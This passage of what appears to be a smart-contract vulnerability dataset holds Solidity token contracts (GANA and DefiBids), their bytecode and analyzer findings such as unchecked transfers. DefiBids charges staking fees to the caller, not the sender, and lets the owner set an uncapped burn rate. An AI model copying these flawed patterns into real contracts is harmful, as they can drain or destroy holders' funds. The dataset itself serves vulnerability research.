* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) onlyManager public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= tota0lSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
/**
* GANA
*/
contract GANA is BurnableToken {
string public constant name = "GANA";
string public constant symbol = "GANA";
uint8 public constant decimals = 18;
event ClaimedTokens(address manager, address _token, uint256 claimedBalance);
function GANA() public {
totalSupply = 2000000000 * 1 ether;
balances[msg.sender] = totalSupply;
}
function claimTokens(address _token, uint256 _claimedBalance) public onlyManager afterReleased {
ERC20Basic token = ERC20Basic(_token);
uint256 tokenBalance = token.balanceOf(this);
require(tokenBalance >= _claimedBalance);
address manager = msg.sender;
token.transfer(manager, _claimedBalance);
ClaimedTokens(manager, _token, _claimedBalance);
}
}
/**
* GANA LOCKER
*/
contract GanaLocker {
GANA gana;
uint256 public releaseTime = 1554076800; //UTC 04/01/2019 12:00am
address public owner;
event Unlock();
function GanaLocker(address _gana, address _owner) public {
require(_owner != address(0));
owner = _owner;
gana = GANA(_gana);
}
function unlock() public {
require(msg.sender == owner);
require(releaseTime < now);
uint256 unlockGana = gana.balanceOf(this);
gana.transfer(owner, unlockGana);
Unlock();
}
}
|
0x60606040526004361061003d5763ffffffff60e060020a6000350416638da5cb5b8114610042578063a69df4b514610071578063b91d400114610086575b600080fd5b341561004d57600080fd5b6100556100ab565b604051600160a060020a03909116815260200160405180910390f35b341561007c57600080fd5b6100846100ba565b005b341561009157600080fd5b610099610211565b60405190815260200160405180910390f35b600254600160a060020a031681565b60025460009033600160a060020a039081169116146100d857600080fd5b6001544290106100e757600080fd5b60008054600160a060020a0316906370a082319030906040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561014257600080fd5b6102c65a03f1151561015357600080fd5b505050604051805160008054600254929450600160a060020a03908116935063a9059cbb92169084906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156101c657600080fd5b6102c65a03f115156101d757600080fd5b50505060405180519050507f70e3fffea7bbb557facdee48ed7f7af5179030adef9ad0c876df039a718f359e60405160405180910390a150565b600154815600a165627a7a72305820c95e81a2a7d4eca8a02a427eaf4d87613813836d5aa85041f9c3fa7b70748d760029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 4,493 |
0x912b38134f395d1bfab4c6f9db632c31667acf98
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @title Ownership Contract
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Interface of Token recipient contrcat
*/
interface ApproveAndCallFallback {
function receiveApproval(address _from, uint256 _value, address _token, bytes memory _extraData) external;
function tokenCallback(address _from, uint256 _tokens, bytes memory _data) external;
}
/**
* @title BIDS TOKEN
*/
contract DefiBids is Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 public BURN_RATE = 0;
uint256 constant STACKING_POOL_RATE = 10;
uint256 constant public PERCENTS_DIVIDER = 1000;
bool public isStackingActive = false;
address payable public stackingPoolAddress;
// timestamp when token 5M BIDS is enabled
uint256 private _releaseTime;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor (address _tokenHolder, address _presaleContract) public{
_name = "DeFi Bids";
_symbol = "BIDS";
_decimals = 18;
_releaseTime = 1630713600;
_mint(_tokenHolder, 24300000 * 10**uint256(_decimals));
_mint(_presaleContract, 20700000 * 10**uint256(_decimals));
_mint(address(this), 5000000 * 10**uint256(_decimals));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @return the time when the 5M BIDS are released.
*/
function releaseTime() public view returns (uint256) {
return _releaseTime;
}
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev Owner can burn his own token.
*
* Returns a boolean value indicating whether the operation succeeded.
*
*/
function burnMyBIDS(uint256 amount) public virtual returns (bool) {
_burn(msg.sender, amount);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens..
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual returns(uint256) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
uint256 remainingAmount = amount;
if(BURN_RATE > 0){
uint256 burnAmount = amount.mul(BURN_RATE).div(PERCENTS_DIVIDER);
_burn(sender, burnAmount);
remainingAmount = remainingAmount.sub(burnAmount);
}
if(isStackingActive){
uint256 amountToStackPool = amount.mul(STACKING_POOL_RATE).div(PERCENTS_DIVIDER);
remainingAmount = remainingAmount.sub(amountToStackPool);
_balances[msg.sender] = _balances[msg.sender].sub(amountToStackPool, "ERC20: transfer amount exceeds balance");
_balances[stackingPoolAddress] = _balances[stackingPoolAddress].add(amountToStackPool);
emit Transfer(msg.sender, stackingPoolAddress, amountToStackPool);
}
_balances[sender] = _balances[sender].sub(remainingAmount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(remainingAmount);
emit Transfer(sender, recipient, remainingAmount);
return remainingAmount;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function releaseLokedBIDS() public virtual onlyOwner returns(bool){
require(block.timestamp >= _releaseTime, "TokenTimelock: current time is before release time");
uint256 amount = _balances[address(this)];
require(amount > 0, "TokenTimelock: no tokens to release");
_transfer(address(this), msg.sender, amount);
return true;
}
/**
* @dev User to perform {approve} of token and {transferFrom} in one function call.
*
*
* Requirements
*
* - `spender' must have implemented {receiveApproval} function.
*/
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) {
if (approve(_spender, _value)) {
ApproveAndCallFallback(_spender).receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
/**
* @dev Same like approveAndCall but doing both transaction in one one call.
*
*
* Requirements
*
* - `_to' must have implemented {tokenCallback} function.
*/
function transferAndCall(address _to, uint256 _tokens, bytes calldata _data) external returns (bool) {
uint256 _transferred = _transfer(msg.sender, _to, _tokens);
ApproveAndCallFallback(_to).tokenCallback(msg.sender, _transferred, _data);
return true;
}
/**
* @dev Do bulk transfers in one transaction.
*/
function bulkTransfer(address[] calldata _receivers, uint256[] calldata _amounts) external {
require(_receivers.length == _amounts.length);
for (uint256 i = 0; i < _receivers.length; i++) {
_transfer(msg.sender, _receivers[i], _amounts[i]);
}
}
/**
* @dev Change Status of the `staking`. If this is set to true then
* portion of transfer amount goes to stacking pool.
*/
function setStackingPoolContract(address payable _a) public onlyOwner returns (bool) {
stackingPoolAddress = _a;
return true;
}
/**
* @dev Change Status of the `staking`. If this is set to true then
* portion of transfer amount goes to stacking pool.
*/
function changeStackingStatus() public virtual onlyOwner returns (bool currentStackingStatus) {
if(isStackingActive){
isStackingActive = false;
} else {
isStackingActive = true;
}
return isStackingActive;
}
/**
* @dev Change the `burn` ratio which is deducted while transfer.
*
* {burnRatio_} is in multiplication of 10. For example if burnRatio_ is 1% then input will be 10.
*/
function chnageTransferBurnRate(uint256 burnRatio_) public onlyOwner returns (bool) {
BURN_RATE = burnRatio_;
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106101585760003560e01c80638da5cb5b116100c3578063c8760b281161007c578063c8760b2814610773578063cae9ca5114610793578063dcb25a6b1461088e578063dd62ed3e146108ae578063f2fde38b14610926578063f846a8851461096a57610158565b80638da5cb5b1461059c57806395d89b41146105d0578063a65999c214610653578063a9059cbb146106ad578063b91d400114610711578063bccda80b1461072f57610158565b8063313ce56711610115578063313ce567146103d25780634000aea0146103f357806355a84057146104ac57806370a08231146104cc57806385ca3a39146105245780638c2f76b11461056857610158565b806301c234a81461015d57806306fdde031461017b578063095ea7b3146101fe578063153a1f3e1461026257806318160ddd1461033057806323b872dd1461034e575b600080fd5b610165610988565b6040518082815260200191505060405180910390f35b61018361098e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c35780820151818401526020810190506101a8565b50505050905090810190601f1680156101f05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61024a6004803603604081101561021457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a30565b60405180821515815260200191505060405180910390f35b61032e6004803603604081101561027857600080fd5b810190808035906020019064010000000081111561029557600080fd5b8201836020820111156102a757600080fd5b803590602001918460208302840111640100000000831117156102c957600080fd5b9091929391929390803590602001906401000000008111156102ea57600080fd5b8201836020820111156102fc57600080fd5b8035906020019184602083028401116401000000008311171561031e57600080fd5b9091929391929390505050610a47565b005b610338610ac1565b6040518082815260200191505060405180910390f35b6103ba6004803603606081101561036457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610acb565b60405180821515815260200191505060405180910390f35b6103da610b97565b604051808260ff16815260200191505060405180910390f35b6104946004803603606081101561040957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561045057600080fd5b82018360208201111561046257600080fd5b8035906020019184600183028401116401000000008311171561048457600080fd5b9091929391929390505050610bae565b60405180821515815260200191505060405180910390f35b6104b4610c88565b60405180821515815260200191505060405180910390f35b61050e600480360360208110156104e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e57565b6040518082815260200191505060405180910390f35b6105506004803603602081101561053a57600080fd5b8101908080359060200190929190505050610ea0565b60405180821515815260200191505060405180910390f35b610570610f73565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105a4610f99565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105d8610fc2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106185780820151818401526020810190506105fd565b50505050905090810190601f1680156106455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106956004803603602081101561066957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611064565b60405180821515815260200191505060405180910390f35b6106f9600480360360408110156106c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611171565b60405180821515815260200191505060405180910390f35b610719611189565b6040518082815260200191505060405180910390f35b61075b6004803603602081101561074557600080fd5b8101908080359060200190929190505050611193565b60405180821515815260200191505060405180910390f35b61077b6111a8565b60405180821515815260200191505060405180910390f35b610876600480360360608110156107a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156107f057600080fd5b82018360208201111561080257600080fd5b8035906020019184600183028401116401000000008311171561082457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506112d1565b60405180821515815260200191505060405180910390f35b610896611407565b60405180821515815260200191505060405180910390f35b610910600480360360408110156108c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061141a565b6040518082815260200191505060405180910390f35b6109686004803603602081101561093c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114a1565b005b6109726116a5565b6040518082815260200191505060405180910390f35b6103e881565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a265780601f106109fb57610100808354040283529160200191610a26565b820191906000526020600020905b815481529060010190602001808311610a0957829003601f168201915b5050505050905090565b6000610a3d338484611733565b6001905092915050565b818190508484905014610a5957600080fd5b60005b84849050811015610aba57610aac33868684818110610a7757fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16858585818110610aa057fe5b9050602002013561192a565b508080600101915050610a5c565b5050505050565b6000600354905090565b6000610ad884848461192a565b50610b8c8433610b878560405180606001604052806028815260200161247e60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1d9092919063ffffffff16565b611733565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600080610bbc33878761192a565b90508573ffffffffffffffffffffffffffffffffffffffff16636be32e73338387876040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b158015610c6357600080fd5b505af1158015610c77573d6000803e3d6000fd5b505050506001915050949350505050565b60003373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600954421015610da6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806123786032913960400191505060405180910390fd5b6000600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111610e43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806125106023913960400191505060405180910390fd5b610e4e30338361192a565b50600191505090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60003373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f63576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8160078190555060019050919050565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561105a5780601f1061102f5761010080835404028352916020019161105a565b820191906000526020600020905b81548152906001019060200180831161103d57829003601f168201915b5050505050905090565b60003373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611127576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b81600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600061117e33848461192a565b506001905092915050565b6000600954905090565b600061119f3383611fdd565b60019050919050565b60003373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461126b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600860009054906101000a900460ff16156112a0576000600860006101000a81548160ff0219169083151502179055506112bc565b6001600860006101000a81548160ff0219169083151502179055505b600860009054906101000a900460ff16905090565b60006112dd8484610a30565b156113ff578373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561138f578082015181840152602081019050611374565b50505050905090810190601f1680156113bc5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156113de57600080fd5b505af11580156113f2573d6000803e3d6000fd5b5050505060019050611400565b5b9392505050565b600860009054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611562576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806123ef6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60075481565b600080828401905083811015611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806124ec6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561183f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806124156022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156119b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124c76025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a37576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806123aa6023913960400191505060405180910390fd5b611aa38260405180606001604052806026815260200161243760269139600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1d9092919063ffffffff16565b50600082905060006007541115611b02576000611adf6103e8611ad16007548761219790919063ffffffff16565b61221d90919063ffffffff16565b9050611aeb8682611fdd565b611afe818361226790919063ffffffff16565b9150505b600860009054906101000a900460ff1615611d69576000611b416103e8611b33600a8761219790919063ffffffff16565b61221d90919063ffffffff16565b9050611b56818361226790919063ffffffff16565b9150611bc48160405180606001604052806026815260200161243760269139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1d9092919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c7b8160016000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ab90919063ffffffff16565b60016000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505b611dd58160405180606001604052806026815260200161243760269139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1d9092919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e6a81600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ab90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3809150509392505050565b6000838311158290611fca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611f8f578082015181840152602081019050611f74565b50505050905090810190601f168015611fbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612063576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806124a66021913960400191505060405180910390fd5b6120cf816040518060600160405280602281526020016123cd60229139600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1d9092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121278160035461226790919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000808314156121aa5760009050612217565b60008284029050828482816121bb57fe5b0414612212576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061245d6021913960400191505060405180910390fd5b809150505b92915050565b600061225f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506122b1565b905092915050565b60006122a983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f1d565b905092915050565b6000808311829061235d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612322578082015181840152602081019050612307565b50505050905090810190601f16801561234f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161236957fe5b04905080915050939250505056fe546f6b656e54696d656c6f636b3a2063757272656e742074696d65206973206265666f72652072656c656173652074696d6545524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373546f6b656e54696d656c6f636b3a206e6f20746f6b656e7320746f2072656c65617365a2646970667358221220ef0f1176f9d1541ee126ae4fcc291306848bd041bc05d6df288d1d780b1f87df64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,494 |
0xaC6f466dfc250f612Aa35e942dcF4A42E2156Ce2
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
